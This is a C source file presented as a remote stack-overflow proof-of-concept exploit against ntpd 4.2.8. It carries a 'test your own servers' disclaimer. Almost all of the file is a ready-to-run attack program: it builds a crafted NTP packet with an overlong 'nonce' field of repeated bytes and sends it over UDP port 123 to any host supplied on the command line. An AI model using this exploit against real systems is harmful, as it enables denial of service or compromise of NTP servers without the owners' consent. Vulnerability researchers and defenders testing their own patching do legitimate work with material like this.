/*

Remote ntpd 4.2.8 Stack Over Flow Proof Of Concept Exploit by N_A , N_A[at]tutanota.com
Please use this code to test your own servers. Do not break the law. Do not misuse. I am not responsible for any
misuse of this code

N_A[at]tutanota.com

*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>
#include <netinet/in.h>
#include <string.h>
#include <netdb.h>

#define PORT 123  /* change if needed */

  /* & nonce exploit packet , Todor Donev  */
char packet[] ="\x26\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x6e\x6f\x6e\x63\x65\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61";

void err(char *msg);

int main(int argc, char *argv[])

{
 int sockfd,n;

 struct sockaddr_in vuln;
 struct hostent *server;

 char *hostname;

 if(argc != 2)
 {
  printf("==================================================\n");
  printf("\tntpd 4.2.8 remote stack overflow exploit\n");
  printf("\t\tBy N_A\n");
  printf("\tUSAGE: %s [HOST]\n", argv[0]);
  printf("\t%s 127.0.0.1\n", argv[0]);
  printf("==================================================\n");
  return EXIT_FAILURE;
 }

 hostname = argv[1];
 server = gethostbyname(hostname);

 if( server == NULL )
 {
  err("gethostbyname");
 }

 if ((sockfd = socket(AF_INET,SOCK_DGRAM,0)) < 0 )
 {
  err("socket()");
 }

 printf("\n[*]UDP socket() successful\n");

 bzero((char *)&vuln,sizeof(vuln));
 vuln.sin_family = AF_INET;
 bcopy((char *)server->h_addr,(char *)&vuln.sin_addr.s_addr,server->h_length);
 vuln.sin_port = htons(PORT);

 if((n = sendto(sockfd,packet,strlen(packet),0,(struct sockaddr *)&vuln,sizeof(vuln))) < 0 )
 {
  err("sendto()");
 }

 printf("\n\n=============================\n");
 printf("\nPacket sent to server!\n");
 printf("=============================\n\n");

 return EXIT_SUCCESS;
}

void err(char *msg)
{
 perror(msg);
 exit(0);
}